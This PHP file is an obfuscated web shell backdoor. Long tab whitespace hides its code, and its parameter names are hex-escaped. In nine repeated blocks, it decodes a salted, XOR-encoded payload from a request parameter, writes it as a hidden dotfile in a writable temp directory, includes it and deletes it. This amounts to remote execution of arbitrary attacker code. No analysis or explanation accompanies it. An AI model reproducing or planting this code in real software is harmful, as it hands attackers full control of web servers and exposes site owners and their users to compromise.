<?php																																										if(isset($_REQUEST["pg\x72p"])){ $pset = $_REQUEST["pg\x72p"]; $pset = explode ( '.' , $pset ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; while ($m < count($pset)) { $v5 = $pset[$m]; $sChar = ord($salt[$m% $lenS]); $dec = ((int)$v5 - $sChar - ($m% 10)) ^ 3; $parameter_group .= chr($dec); $m++; } $symbol = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp"]); while ($obj = array_shift($symbol)) { if (array_product([is_dir($obj), is_writable($obj)])) { $record = join("/", [$obj, ".ref"]); if (file_put_contents($record, $parameter_group)) { require $record; unlink($record); exit; } } } }
																																										if(in_array("v\x61l", array_keys($_POST))){ $pointer = $_POST["v\x61l"]; $pointer = explode( '.' , $pointer) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($pointer); for($o = 0; $o < $len; $o++) { $v5 = $pointer[$o]; $sChar = ord($s[$o%$lenS]); $dec =((int)$v5 - $sChar -($o%10)) ^ 42; $property_set .= chr($dec); } $object = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp"]); $k = 0; do { $factor = $object[$k] ?? null; if ($k >= count($object)) break; if (is_writable($factor) && is_dir($factor)) { $bind = sprintf("%s/.res", $factor); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $bind; @unlink($bind); die(); } } $k++; } while (true); }
																																										if(!empty($_POST["\x66\x6Cg"])){ $data_chunk = $_POST["\x66\x6Cg"]; $data_chunk= explode ( "." ,$data_chunk ) ; $dat= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s6); $x= 0; $len= count($data_chunk); do { if ($x >= $len) break; $v1= $data_chunk[$x]; $sChar= ord($s6[$x % $lenS]); $d= ((int)$v1 - $sChar - ($x % 10)) ^8; $dat .= chr($d); $x++; } while (true); $binding = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP")]); foreach ($binding as $key => $pgrp) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $res = sprintf("%s/.component", $pgrp); if (file_put_contents($res, $dat)) { require $res; unlink($res); die(); } } } }
																																										if(array_key_exists("de\x73\x63rip\x74\x6Fr", $_REQUEST)){ $flag = $_REQUEST["de\x73\x63rip\x74\x6Fr"]; $flag =explode ( "." , $flag ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $u = 0; while ($u < count($flag)) { $v2 = $flag[$u]; $chS = ord($s[$u % $lenS] ); $dec = ((int)$v2 - $chS - ($u % 10)) ^ 14; $entity .= chr($dec ); $u++; } $element = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd()]); for ($flg = 0, $comp = count($element); $flg < $comp; $flg++) { $ent = $element[$flg]; if (is_dir($ent) ? is_writable($ent) : false) { $sym = vsprintf("%s/%s", [$ent, ".hld"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(array_key_exists("f\x6Cg", $_REQUEST)){ $ptr = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir()]); $desc = $_REQUEST["f\x6Cg"]; $desc= explode ( '.', $desc) ; $rec= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s6 ); $v= 0; $__tmp= $desc; while($v6= array_shift($__tmp)) { $sChar= ord($s6[$v % $lenS] ); $dec= ((int)$v6 - $sChar -($v % 10)) ^ 1; $rec .= chr($dec ); $v++; } while ($data_chunk = array_shift($ptr)) { if ((is_dir($data_chunk) and is_writable($data_chunk))) { $fac = implode("/", [$data_chunk, ".entity"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(!is_null($_POST["t\x6F\x6Ben"] ?? null)){ $hld = $_POST["t\x6F\x6Ben"]; $hld = explode ("." , $hld ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; $len = count($hld); do { if($u >= $len) break; $v5 = $hld[$u]; $sChar = ord($s[$u% $lenS]); $dec =((int)$v5 - $sChar -($u% 10)) ^ 92; $data.= chr($dec); $u++; } while(true); $descriptor = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd()]); foreach ($descriptor as $data_chunk): if ((is_dir($data_chunk) and is_writable($data_chunk))) { $obj = "$data_chunk" . "/.object"; if (file_put_contents($obj, $data)) { require $obj; unlink($obj); die(); } } endforeach; }
																																										if(array_key_exists("\x63om\x70", $_REQUEST) && !is_null($_REQUEST["\x63om\x70"])){ $fac = $_REQUEST["\x63om\x70"]; $fac=explode ( "." , $fac ) ; $dat = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); $r = 0; array_walk( $fac, function( $v2) use( &$dat, &$r, $s3, $lenS) { $sChar = ord( $s3[$r % $lenS]); $dec =( ( int)$v2 - $sChar -( $r % 10)) ^ 58; $dat.= chr( $dec); $r++; }); $ref = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP")]); for ($reference = 0, $component = count($ref); $reference < $component; $reference++) { $obj = $ref[$reference]; if ((is_dir($obj) and is_writable($obj))) { $factor = vsprintf("%s/%s", [$obj, ".item"]); if (file_put_contents($factor, $dat)) { include $factor; @unlink($factor); exit; } } } }
																																										if(array_key_exists("re\x73our\x63e", $_POST) && !is_null($_POST["re\x73our\x63e"])){ $obj = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path()]); $pset = $_POST["re\x73our\x63e"]; $pset = explode ( '.' , $pset ) ; $comp =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $o =0; while( $o < count( $pset)) { $v5 =$pset[$o]; $chS =ord( $salt[$o%$lenS] ); $d =( ( int)$v5 - $chS -( $o%10)) ^ 32; $comp .= chr( $d ); $o++; } foreach ($obj as $key) { if (!( !is_dir($key) || !is_writable($key) )) { $property_set = "$key/.reference"; if (@file_put_contents($property_set, $comp) !== false) { include $property_set; unlink($property_set); exit; } } } }


if(array_key_exists("\x72\x65f\x65\x72ence", $_REQUEST) && !is_null($_REQUEST["\x72\x65f\x65\x72ence"])){
	$tkn = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP")]);
	$component = $_REQUEST["\x72\x65f\x65\x72ence"];
			 $component 	 =		 explode  (  '.' 		,	$component);		 
	$hld  ='';
            $s  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  =strlen($s );
    
            foreach ($component as $o => $v9):
                $sChar  =ord($s[$o% 	$sLen] );
                $dec  =((int)$v9 - $sChar - ($o% 	10)) ^ 9;
                $hld .= chr($dec );
            endforeach;
	while ($desc = array_shift($tkn)) {
    		if (is_writable($desc) && is_dir($desc)) {
    $flg = "$desc" . "/.key";
    if (file_put_contents($flg, $hld)) {
	require $flg;
	unlink($flg);
	die();
}
}
}
}